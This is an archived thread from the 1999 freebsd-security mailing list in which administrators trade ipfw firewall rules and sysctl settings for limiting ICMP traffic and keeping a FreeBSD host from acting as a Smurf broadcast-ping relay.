[209.249.218.81]) by hub.freebsd.org (Postfix) with ESMTP id DFFA514C85 for ; Mon, 21 Jun 1999 13:23:06 -0700 (PDT) (envelope-from jschwab@telebot.net) Received: from telebot.net (unverified [166.62.215.100]) by mailsvr2.telebot.net (Rockliffe SMTPRA 3.3.1) with ESMTP id for ; Mon, 21 Jun 1999 13:19:20 -0700 Message-ID: <376E9ECA.F30CC3FC@telebot.net> Date: Mon, 21 Jun 1999 14:21:30 -0600 From: "Jason L. Schwab" X-Mailer: Mozilla 4.6 [en] (X11; I; FreeBSD 3.2-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: ip firewall and icmp/dos. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Could someone please give me an example as to what lines I should add to my ruleset to keep from being Denial Of Service attacked and/or ICMP'd? Thanks. I have IPFIREWALL and IPFIREWALL_VERBOSE as options in my kernel. and I have the firewall_type set to "open" for right now. Also, I know that the IPFIREWALL_VERBOSE turns on logging, how can I see what it logs? -- thanks _____________________________________________________________________________ World's First Provider of FREE 800# U.S. Toll Free Voicemail to Email Service Get your own FREE voicemail, fax and Paging account at http://www.telebot.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 14: 2:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from fantasy.netreach.net (fantasy.netreach.net [205.197.101.219]) by hub.freebsd.org (Postfix) with ESMTP id B5D0214C2E for ; Mon, 21 Jun 1999 14:02:48 -0700 (PDT) (envelope-from petef@netreach.net) Received: from borneo (borneo.netreach.net [205.197.101.111]) by fantasy.netreach.net (8.9.3/8.9.0) with SMTP id RAA24593; Mon, 21 Jun 1999 17:03:53 -0400 (EDT) Date: Mon, 21 Jun 1999 17:05:30 -0400 (EDT) From: Pete Fritchman X-Sender: petef@borneo To: "Jason L. Schwab" Cc: freebsd-security@FreeBSD.ORG Subject: Re: ip firewall and icmp/dos. In-Reply-To: <376E9ECA.F30CC3FC@telebot.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org man ipmon --------------------------------------------- Pete Fritchman petef@netreach.net Netreach www.netreach.net System Administrator On Mon, 21 Jun 1999, Jason L. Schwab wrote: > > Could someone please give me an example as to what lines I should add > to my ruleset > to keep from being Denial Of Service attacked and/or ICMP'd? Thanks. I > have IPFIREWALL and IPFIREWALL_VERBOSE as options in my kernel. and I > have the firewall_type set to "open" for > right now. > > Also, I know that the IPFIREWALL_VERBOSE turns on logging, how can I > see what it logs? > > -- thanks > > > _____________________________________________________________________________ > World's First Provider of FREE 800# U.S. Toll Free Voicemail to Email Service > Get your own FREE voicemail, fax and Paging account at http://www.telebot.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 21:49:58 1999 Delivered-To: freebsd-security@freebsd.org Received: from kitsune.swcp.com (swcp.com [198.59.115.2]) by hub.freebsd.org (Postfix) with ESMTP id 733ED14DC3 for ; Mon, 21 Jun 1999 21:49:54 -0700 (PDT) (envelope-from synk@swcp.com) Received: (from synk@localhost) by kitsune.swcp.com (8.8.8/1.2.3) id WAA07759; Mon, 21 Jun 1999 22:49:53 -0600 (MDT) Date: Mon, 21 Jun 1999 22:49:53 -0600 (MDT) From: Brendan Conoboy Message-Id: <199906220449.WAA07759@kitsune.swcp.com> To: jschwab@telebot.net Subject: Re: ip firewall and icmp/dos. Cc: freebsd-security@FreeBSD.ORG, petef@netreach.net Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > From: Pete Fritchman > To: "Jason L. Schwab" > Subject: Re: ip firewall and icmp/dos. > > man ipmon ipmon? Ipmon is the proggy that takes logs from IP filter, not ipfw. > On Mon, 21 Jun 1999, Jason L. Schwab wrote: > > > > Could someone please give me an example as to what lines I should add > > to my ruleset > > to keep from being Denial Of Service attacked and/or ICMP'd? Thanks. I > > have IPFIREWALL and IPFIREWALL_VERBOSE as options in my kernel. and I > > have the firewall_type set to "open" for > > right now. > > > > Also, I know that the IPFIREWALL_VERBOSE turns on logging, how can I > > see what it logs? Hi Jason. My first suggestion would be to use IPFILTER and IPFILTER_LOG instead of IPFIREWALL and IPFIREWALL_VERBOSE, then you can use my handy howto at http://www.swcp.com/~synk/ipf-howto.txt :-) Then you could also use ipmon for logging, as was suggested. If you'd prefer sticking with IPFIREWALL (which uses the ipfw command), I'd suggest taking a look at the ipfw(8) man page (type "man 8 ipfw"). You should also take a look at /etc/rc.firewall. This is where the "firewall_type" option is examined and rules are put into effect. You can learn a bit from the examples in there. You can block and log all icmp traffic with: /sbin/ipfw add deny log icmp from any to YourIpAddress This will keep it from coming or going. If this is *really* what you want to do (ping and traceroute will stop working), you'll need to work that into rc.firewall. I'm not sure what Denial Of Service attacks you're worried about so I don't know what's going to help you. Lastly, if you're really concerned about security of the system you're working with, you might want somebody else to help you with the firewall. The first attempts at them tend to be too loose or too tight, and generally not what you're really going for. -Brendan (everybody who's locked themselves out with ipfw nod and smile:-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 22:43:39 1999 Delivered-To: freebsd-security@freebsd.org Received: from smtp.thegrid.net (smtp.thegrid.net [209.162.1.11]) by hub.freebsd.org (Postfix) with SMTP id 8D22914D36 for ; Mon, 21 Jun 1999 22:43:36 -0700 (PDT) (envelope-from dean@thegrid.net) Received: (qmail 24366 invoked from network); 22 Jun 1999 05:43:36 -0000 Received: from pop.thegrid.net (209.162.1.5) by smtp.thegrid.net with SMTP; 22 Jun 1999 05:43:36 -0000 Received: from zippy (lax-ts6-h1-54-27.ispmodems.net [209.162.54.27]) by pop.thegrid.net (8.9.1a/8.9.1) with SMTP id WAA12832 for ; Mon, 21 Jun 1999 22:43:34 -0700 (PDT) Message-Id: <4.1.19990621221636.0091fac0@mail.thegrid.net> X-Sender: i289861@mail.thegrid.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Mon, 21 Jun 1999 22:35:39 -0700 To: freebsd-security@FreeBSD.ORG From: Dean Subject: Re: ip firewall and icmp/dos. In-Reply-To: References: <376E9ECA.F30CC3FC@telebot.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org You can find the rfc for icmp at http://www.faqs.org/rfcs/rfc792.html. To get down to business, here's my ipfw line for icmp. allow icmp from any to any in icmptype 0,3,4,11,12,14,16 So, coming in, I allow Echo Reply, Destination Unreachable, Source Quench, Time Exceeded, Parameter Problem, Timestamp Reply, and Information Reply. Everything else should be blocked. I allow anything out past my firewall. For more opinions on this, dredge through the security mailing list archives at http://www.FreeBSD.org. As far as the other DoS's go, you should not allow anything you don't explicitly need. There are many types of DoS's available to the modern script kiddie.... Many of them do not rely on weakness in protocols. (feeding a 1024 username to an ftp server) Anyway, read up on the bugtraq mailing list. (http://www.geek-girl.com/bugtraq) Dean At 05:05 PM 6/21/99 -0400, you wrote: >man ipmon > >--------------------------------------------- >Pete Fritchman petef@netreach.net >Netreach www.netreach.net >System Administrator > >On Mon, 21 Jun 1999, Jason L. Schwab wrote: > >> >> Could someone please give me an example as to what lines I should add >> to my ruleset >> to keep from being Denial Of Service attacked and/or ICMP'd? Thanks. I >> have IPFIREWALL and IPFIREWALL_VERBOSE as options in my kernel. and I >> have the firewall_type set to "open" for >> right now. >> >> Also, I know that the IPFIREWALL_VERBOSE turns on logging, how can I >> see what it logs? >> >> -- thanks >> >> >> _____________________________________________________________________________ >> World's First Provider of FREE 800# U.S. Toll Free Voicemail to Email Service >> Get your own FREE voicemail, fax and Paging account at http://www.telebot.com >> >> >> To Unsubscribe: send mail to majordomo@FreeBSD.org >> with "unsubscribe freebsd-security" in the body of the message >> > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message ------------------------------------------------------------------------------- A train stops at a train station, a bus stops at a bus staion. On my desk, I have a workstation.... ------------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 0:39:49 1999 Delivered-To: freebsd-security@freebsd.org Received: from hotmail.com (f9.hotmail.com [207.82.250.20]) by hub.freebsd.org (Postfix) with SMTP id 6E00514C37 for ; Tue, 22 Jun 1999 00:39:46 -0700 (PDT) (envelope-from madrapour@hotmail.com) Received: (qmail 98175 invoked by uid 0); 22 Jun 1999 07:39:45 -0000 Message-ID: <19990622073945.98174.qmail@hotmail.com> Received: from 195.96.144.201 by wy1lg.hotmail.com with HTTP; Tue, 22 Jun 1999 00:39:43 PDT X-Originating-IP: [195.96.144.201] From: N.N.M To: freebsd-security@freebsd.org Subject: Question: Preventing Smurf Date: Tue, 22 Jun 1999 00:39:43 PDT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, Is it enough to do "sysctl -w net.inet.icmp.bmcastecho=0" to prevent being Smurf Intermediary? And if so, how can I check it to get sure if it is ok? I did the above change, but my freebsd box still responses to ping (from a pc on the same Ehternet) to broadcast address. Is it normal? thanks, Nazila M. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 4:18:21 1999 Delivered-To: freebsd-security@freebsd.org Received: from easeway.com (ns1.easeway.com [209.69.39.1]) by hub.freebsd.org (Postfix) with ESMTP id 5278314E22 for ; Tue, 22 Jun 1999 04:18:15 -0700 (PDT) (envelope-from mwlucas@easeway.com) Received: (from mwlucas@localhost) by easeway.com (8.8.8/8.8.5) id HAA02940; Tue, 22 Jun 1999 07:06:56 -0400 (EDT) Message-Id: <199906221106.HAA02940@easeway.com> Subject: Re: Question: Preventing Smurf In-Reply-To: <19990622073945.98174.qmail@hotmail.com> from "N.N.M" at "Jun 22, 99 00:39:43 am" To: madrapour@hotmail.com (N.N.M) Date: Tue, 22 Jun 1999 07:06:52 -0400 (EDT) Cc: freebsd-security@FreeBSD.ORG From: mwlucas@exceptionet.com X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org To test if it works, ping your subnet's broadcast address (i.e., a.b.c.255). If you're not sure of the broadcast, an ifconfig -a will give it to you. The machine won't respond to a broadcast ping. This will prevent you from being a smurf relay. A more effective method would be to block broadcast pings at the router to your network. Check your router's documentation or mfg. web site for exact instructions. Regards, ==ml > > Hi, > > Is it enough to do "sysctl -w net.inet.icmp.bmcastecho=0" to prevent being > Smurf Intermediary? And if so, how can I check it to get sure if it is ok? > I did the above change, but my freebsd box still responses to ping (from a > pc on the same Ehternet) to broadcast address. Is it normal? > > thanks, > Nazila M. > > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > -- Michael Lucas | Exceptionet, Inc. | www.exceptionet.com "Exceptional Networking" | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 5: 0:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from hotmail.com (f296.hotmail.com [207.82.251.187]) by hub.freebsd.org (Postfix) with SMTP id 805C6152CB for ; Tue, 22 Jun 1999 05:00:38 -0700 (PDT) (envelope-from madrapour@hotmail.com) Received: (qmail 736 invoked by uid 0); 22 Jun 1999 12:00:38 -0000 Message-ID: <19990622120038.735.qmail@hotmail.com> Received: from 195.96.144.201 by www.hotmail.com with HTTP; Tue, 22 Jun 1999 05:00:34 PDT X-Originating-IP: [195.96.144.201] From: N.N.M To: mwlucas@exceptionet.com, madrapour@hotmail.com Cc: freebsd-security@FreeBSD.ORG Subject: Re: Question: Preventing Smurf Date: Tue, 22 Jun 1999 05:00:34 PDT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thanks for your reply. That is the point: I disable net.inet.icmp.bmcastecho (=0) on a freebsd box with the IP, i.e. x.x.11.18. But when I use broadcast ping (ping x.x.11.255) on another pc (i.e. x.x.11.17) on the same Ethernet, the first machine which is not supposed to reply to the ping, will reply! So I thought I might need another thing to disable that or maybe using broadcast ping on the same Ethernet isn't a good way to test it or ...... Any idea? Nazila M. >From: mwlucas@exceptionet.com >To: madrapour@hotmail.com (N.N.M) >CC: freebsd-security@FreeBSD.ORG >Subject: Re: Question: Preventing Smurf >Date: Tue, 22 Jun 1999 07:06:52 -0400 (EDT) >MIME-Version: 1.0 >From mwlucas@easeway.com Tue Jun 22 11:18:15 1999 >Received: (from mwlucas@localhost)by easeway.com (8.8.8/8.8.5) id >HAA02940;Tue, 22 Jun 1999 07:06:56 -0400 (EDT) >Message-Id: <199906221106.HAA02940@easeway.com> >In-Reply-To: <19990622073945.98174.qmail@hotmail.com> from "N.N.M" at "Jun >22, 99 00:39:43 am" >X-Mailer: ELM [version 2.4ME+ PL32 (25)] > >To test if it works, ping your subnet's broadcast address (i.e., >a.b.c.255). If you're not sure of the broadcast, an ifconfig -a will give >it to you. > >The machine won't respond to a broadcast ping. This will prevent you from >being a smurf relay. > >A more effective method would be to block broadcast pings at the router to >your network. Check your router's documentation or mfg. web site for >exact instructions. > >Regards, >==ml > > > > > > Hi, > > > > Is it enough to do "sysctl -w net.inet.icmp.bmcastecho=0" to prevent >being > > Smurf Intermediary? And if so, how can I check it to get sure if it is >ok? > > I did the above change, but my freebsd box still responses to ping (from >a > > pc on the same Ehternet) to broadcast address. Is it normal? > > > > thanks, > > Nazila M. > > > > > > ______________________________________________________ > > Get Your Private, Free Email at http://www.hotmail.com > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > >-- >Michael Lucas | >Exceptionet, Inc. | www.exceptionet.com >"Exceptional Networking" | > ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 5:16:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from fantasy.netreach.net (fantasy.netreach.net [205.197.101.219]) by hub.freebsd.org (Postfix) with ESMTP id 66EC714C85 for ; Tue, 22 Jun 1999 05:16:47 -0700 (PDT) (envelope-from petef@netreach.net) Received: from borneo (borneo.netreach.net [205.197.101.111]) by fantasy.netreach.net (8.9.3/8.9.0) with SMTP id IAA09628; Tue, 22 Jun 1999 08:17:48 -0400 (EDT) Date: Tue, 22 Jun 1999 08:19:31 -0400 (EDT) From: Pete Fritchman X-Sender: petef@borneo To: Brendan Conoboy Cc: freebsd-security@freebsd.org Subject: Re: ip firewall and icmp/dos. In-Reply-To: <199906220449.WAA07759@kitsune.swcp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org and his message was in reference to the ip filter... --------------------------------------------- Pete Fritchman petef@netreach.net Netreach www.netreach.net System Administrator On Mon, 21 Jun 1999, Brendan Conoboy wrote: > > From: Pete Fritchman > > To: "Jason L. Schwab" > > Subject: Re: ip firewall and icmp/dos. > > > > man ipmon > > ipmon? Ipmon is the proggy that takes logs from IP filter, not ipfw. > > > On Mon, 21 Jun 1999, Jason L. Schwab wrote: > > > > > > Could someone please give me an example as to what lines I should add > > > to my ruleset > > > to keep from being Denial Of Service attacked and/or ICMP'd? Thanks. I > > > have IPFIREWALL and IPFIREWALL_VERBOSE as options in my kernel. and I > > > have the firewall_type set to "open" for > > > right now. > > > > > > Also, I know that the IPFIREWALL_VERBOSE turns on logging, how can I > > > see what it logs? > > Hi Jason. My first suggestion would be to use IPFILTER and IPFILTER_LOG > instead of IPFIREWALL and IPFIREWALL_VERBOSE, then you can use my handy > howto at http://www.swcp.com/~synk/ipf-howto.txt :-) Then you could > also use ipmon for logging, as was suggested. > > If you'd prefer sticking with IPFIREWALL (which uses the ipfw command), > I'd suggest taking a look at the ipfw(8) man page (type "man 8 ipfw"). > You should also take a look at /etc/rc.firewall. This is where the > "firewall_type" option is examined and rules are put into effect. You > can learn a bit from the examples in there. > > You can block and log all icmp traffic with: > > /sbin/ipfw add deny log icmp from any to YourIpAddress > > This will keep it from coming or going. If this is *really* what you > want to do (ping and traceroute will stop working), you'll need to > work that into rc.firewall. I'm not sure what Denial Of Service > attacks you're worried about so I don't know what's going to help you. > > Lastly, if you're really concerned about security of the system you're > working with, you might want somebody else to help you with the firewall. > The first attempts at them tend to be too loose or too tight, and > generally not what you're really going for. > > -Brendan (everybody who's locked themselves out with ipfw nod and smile:-) > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 5:17:48 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 65AEE15089 for ; Tue, 22 Jun 1999 05:17:32 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.1) id OAA83916; Tue, 22 Jun 1999 14:17:20 +0200 (CEST) (envelope-from des) To: Dean Cc: freebsd-security@FreeBSD.ORG Subject: Re: ip firewall and icmp/dos. References: <376E9ECA.F30CC3FC@telebot.net> <4.1.19990621221636.0091fac0@mail.thegrid.net> From: Dag-Erling Smorgrav Date: 22 Jun 1999 14:17:20 +0200 In-Reply-To: Dean's message of "Mon, 21 Jun 1999 22:35:39 -0700" Message-ID: Lines: 11 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Dean writes: > allow icmp from any to any in icmptype 0,3,4,11,12,14,16 4,12,14,16 are unnecessary. You only need 0,3,11 (and 8 if you're not afraid of being ping-flooded - see ICMP_BANDLIM). I use: pass icmp from any to any icmptype 0,3,8,11 DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 9:30:10 1999 Delivered-To: freebsd-security@freebsd.org Received: from rapidnet.com (rapidnet.com [205.164.216.1]) by hub.freebsd.org (Postfix) with ESMTP id 7454F1565E for ; Tue, 22 Jun 1999 09:29:29 -0700 (PDT) (envelope-from nick@rapidnet.com) Received: from localhost (nick@localhost) by rapidnet.com (8.9.3/8.9.3) with ESMTP id KAA65702; Tue, 22 Jun 1999 10:29:12 -0600 (MDT) Date: Tue, 22 Jun 1999 10:29:12 -0600 (MDT) From: Nick Rogness To: "N.N.M" Cc: mwlucas@exceptionet.com, freebsd-security@FreeBSD.ORG Subject: Re: Question: Preventing Smurf In-Reply-To: <19990622120038.735.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 22 Jun 1999, N.N.M wrote: > Thanks for your reply. That is the point: I disable net.inet.icmp.bmcastecho > (=0) on a freebsd box with the IP, i.e. x.x.11.18. But when I use broadcast > ping (ping x.x.11.255) on another pc (i.e. x.x.11.17) on the same Ethernet, > the first machine which is not supposed to reply to the ping, will reply! So > I thought I might need another thing to disable that or maybe using > broadcast ping on the same Ethernet isn't a good way to test it or ...... > Any idea? # Deny icmp packets from hitting broadcast ipfw add 3000 deny log icmp from any to x.x.11.255/32 in via de0 > > Nazila M. > > > >From: mwlucas@exceptionet.com > >To: madrapour@hotmail.com (N.N.M) > >CC: freebsd-security@FreeBSD.ORG > >Subject: Re: Question: Preventing Smurf > >Date: Tue, 22 Jun 1999 07:06:52 -0400 (EDT) > >MIME-Version: 1.0 > >From mwlucas@easeway.com Tue Jun 22 11:18:15 1999 > >Received: (from mwlucas@localhost)by easeway.com (8.8.8/8.8.5) id > >HAA02940;Tue, 22 Jun 1999 07:06:56 -0400 (EDT) > >Message-Id: <199906221106.HAA02940@easeway.com> > >In-Reply-To: <19990622073945.98174.qmail@hotmail.com> from "N.N.M" at "Jun > >22, 99 00:39:43 am" > >X-Mailer: ELM [version 2.4ME+ PL32 (25)] > > > >To test if it works, ping your subnet's broadcast address (i.e., > >a.b.c.255). If you're not sure of the broadcast, an ifconfig -a will give > >it to you. > > > >The machine won't respond to a broadcast ping. This will prevent you from > >being a smurf relay. > > > >A more effective method would be to block broadcast pings at the router to > >your network. Check your router's documentation or mfg. web site for > >exact instructions. > > > >Regards, > >==ml > > > > > > > > > > Hi, > > > > > > Is it enough to do "sysctl -w net.inet.icmp.bmcastecho=0" to prevent > >being > > > Smurf Intermediary? And if so, how can I check it to get sure if it is > >ok? > > > I did the above change, but my freebsd box still responses to ping (from > >a > > > pc on the same Ehternet) to broadcast address. Is it normal? > > > > > > thanks, > > > Nazila M. > > > > > > > > > ______________________________________________________ > > > Get Your Private, Free Email at http://www.hotmail.com > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-security" in the body of the message > > > > > > > > >-- > >Michael Lucas | > >Exceptionet, Inc. | www.exceptionet.com > >"Exceptional Networking" | > > > > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > ******************************************************************* Nick Rogness "Never settle with words what System Administrator can be accomplished with a RapidNet, INC flame-thrower" nick@rapidnet.com ******************************************************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 10: 7:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from fantasy.netreach.net (fantasy.netreach.net [205.197.101.219]) by hub.freebsd.org (Postfix) with ESMTP id 39F951515A for ; Tue, 22 Jun 1999 10:07:48 -0700 (PDT) (envelope-from petef@netreach.net) Received: from borneo (borneo.netreach.net [205.197.101.111]) by fantasy.netreach.net (8.9.3/8.9.0) with SMTP id NAA19421; Tue, 22 Jun 1999 13:08:47 -0400 (EDT) Date: Tue, 22 Jun 1999 13:10:31 -0400 (EDT) From: Pete Fritchman X-Sender: petef@borneo To: Nick Rogness Cc: security@freebsd.org Subject: Re: Question: Preventing Smurf In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org so let me get this straight... if your gateway is ping'able you *CAN* be a smurf relay? --------------------------------------------- Pete Fritchman petef@netreach.net Netreach www.netreach.net System Administrator On Tue, 22 Jun 1999, Nick Rogness wrote: > On Tue, 22 Jun 1999, N.N.M wrote: > > > Thanks for your reply. That is the point: I disable net.inet.icmp.bmcastecho > > (=0) on a freebsd box with the IP, i.e. x.x.11.18. But when I use broadcast > > ping (ping x.x.11.255) on another pc (i.e. x.x.11.17) on the same Ethernet, > > the first machine which is not supposed to reply to the ping, will reply! So > > I thought I might need another thing to disable that or maybe using > > broadcast ping on the same Ethernet isn't a good way to test it or ...... > > Any idea? > > > # Deny icmp packets from hitting broadcast > ipfw add 3000 deny log icmp from any to x.x.11.255/32 in via de0 > > > > > > Nazila M. > > > > > > >From: mwlucas@exceptionet.com > > >To: madrapour@hotmail.com (N.N.M) > > >CC: freebsd-security@FreeBSD.ORG > > >Subject: Re: Question: Preventing Smurf > > >Date: Tue, 22 Jun 1999 07:06:52 -0400 (EDT) > > >MIME-Version: 1.0 > > >From mwlucas@easeway.com Tue Jun 22 11:18:15 1999 > > >Received: (from mwlucas@localhost)by easeway.com (8.8.8/8.8.5) id > > >HAA02940;Tue, 22 Jun 1999 07:06:56 -0400 (EDT) > > >Message-Id: <199906221106.HAA02940@easeway.com> > > >In-Reply-To: <19990622073945.98174.qmail@hotmail.com> from "N.N.M" at "Jun > > >22, 99 00:39:43 am" > > >X-Mailer: ELM [version 2.4ME+ PL32 (25)] > > > > > >To test if it works, ping your subnet's broadcast address (i.e., > > >a.b.c.255). If you're not sure of the broadcast, an ifconfig -a will give > > >it to you. > > > > > >The machine won't respond to a broadcast ping. This will prevent you from > > >being a smurf relay. > > > > > >A more effective method would be to block broadcast pings at the router to > > >your network. Check your router's documentation or mfg. web site for > > >exact instructions. > > > > > >Regards, > > >==ml > > > > > > > > > > > > > > Hi, > > > > > > > > Is it enough to do "sysctl -w net.inet.icmp.bmcastecho=0" to prevent > > >being > > > > Smurf Intermediary? And if so, how can I check it to get sure if it is > > >ok? > > > > I did the above change, but my freebsd box still responses to ping (from > > >a > > > > pc on the same Ehternet) to broadcast address. Is it normal? > > > > > > > > thanks, > > > > Nazila M. > > > > > > > > > > > > ______________________________________________________ > > > > Get Your Private, Free Email at http://www.hotmail.com > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > > with "unsubscribe freebsd-security" in the body of the message > > > > > > > > > > > > >-- > > >Michael Lucas | > > >Exceptionet, Inc. | www.exceptionet.com > > >"Exceptional Networking" | > > > > > > > > > ______________________________________________________ > > Get Your Private, Free Email at http://www.hotmail.com > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > ******************************************************************* > Nick Rogness "Never settle with words what > System Administrator can be accomplished with a > RapidNet, INC flame-thrower" > nick@rapidnet.com > ******************************************************************* > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 10:39:38 1999 Delivered-To: freebsd-security@freebsd.org Received: from rapidnet.com (rapidnet.com [205.164.216.1]) by hub.freebsd.org (Postfix) with ESMTP id E8ECF156AE for ; Tue, 22 Jun 1999 10:39:31 -0700 (PDT) (envelope-from nick@rapidnet.com) Received: from localhost (nick@localhost) by rapidnet.com (8.9.3/8.9.3) with ESMTP id LAA91748; Tue, 22 Jun 1999 11:39:11 -0600 (MDT) Date: Tue, 22 Jun 1999 11:39:11 -0600 (MDT) From: Nick Rogness To: Pete Fritchman Cc: security@freebsd.org Subject: Re: Question: Preventing Smurf In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 22 Jun 1999, Pete Fritchman wrote: > so let me get this straight... > > if your gateway is ping'able you *CAN* be a smurf relay? I'm not sure. I would image that would depend on several variables...such as what type of smurf program they are using, or if they are just flood pinging your broadcast address. WHat your 'gateway' is and how it handles ICMP firewalling/filtering. Ping packets shouldn't be hitting your broadcast or your BSD box. There are other ICMP types but none (that I can think of) should be broadcasting to your whole network. If there is... then I retract my previous statement and apologize, but I can't think of any. I've seen whole networks dropped to the their 'knees' because of machines answering ping packets on the broadcast. You should also block this on your border routers and WAN interfaces. But this ipfw rule helps if someone is attacking on your internal network. > > --------------------------------------------- > Pete Fritchman petef@netreach.net > Netreach www.netreach.net > System Administrator > > On Tue, 22 Jun 1999, Nick Rogness wrote: > > > On Tue, 22 Jun 1999, N.N.M wrote: > > > > > Thanks for your reply. That is the point: I disable net.inet.icmp.bmcastecho > > > (=0) on a freebsd box with the IP, i.e. x.x.11.18. But when I use broadcast > > > ping (ping x.x.11.255) on another pc (i.e. x.x.11.17) on the same Ethernet, > > > the first machine which is not supposed to reply to the ping, will reply! So > > > I thought I might need another thing to disable that or maybe using > > > broadcast ping on the same Ethernet isn't a good way to test it or ...... > > > Any idea? > > > > > > # Deny icmp packets from hitting broadcast > > ipfw add 3000 deny log icmp from any to x.x.11.255/32 in via de0 > > > > > > > > > > Nazila M. > > > > > > > > > >From: mwlucas@exceptionet.com > > > >To: madrapour@hotmail.com (N.N.M) > > > >CC: freebsd-security@FreeBSD.ORG > > > >Subject: Re: Question: Preventing Smurf > > > >Date: Tue, 22 Jun 1999 07:06:52 -0400 (EDT) > > > >MIME-Version: 1.0 > > > >From mwlucas@easeway.com Tue Jun 22 11:18:15 1999 > > > >Received: (from mwlucas@localhost)by easeway.com (8.8.8/8.8.5) id > > > >HAA02940;Tue, 22 Jun 1999 07:06:56 -0400 (EDT) > > > >Message-Id: <199906221106.HAA02940@easeway.com> > > > >In-Reply-To: <19990622073945.98174.qmail@hotmail.com> from "N.N.M" at "Jun > > > >22, 99 00:39:43 am" > > > >X-Mailer: ELM [version 2.4ME+ PL32 (25)] > > > > > > > >To test if it works, ping your subnet's broadcast address (i.e., > > > >a.b.c.255). If you're not sure of the broadcast, an ifconfig -a will give > > > >it to you. > > > > > > > >The machine won't respond to a broadcast ping. This will prevent you from > > > >being a smurf relay. > > > > > > > >A more effective method would be to block broadcast pings at the router to > > > >your network. Check your router's documentation or mfg. web site for > > > >exact instructions. > > > > > > > >Regards, > > > >==ml > > > 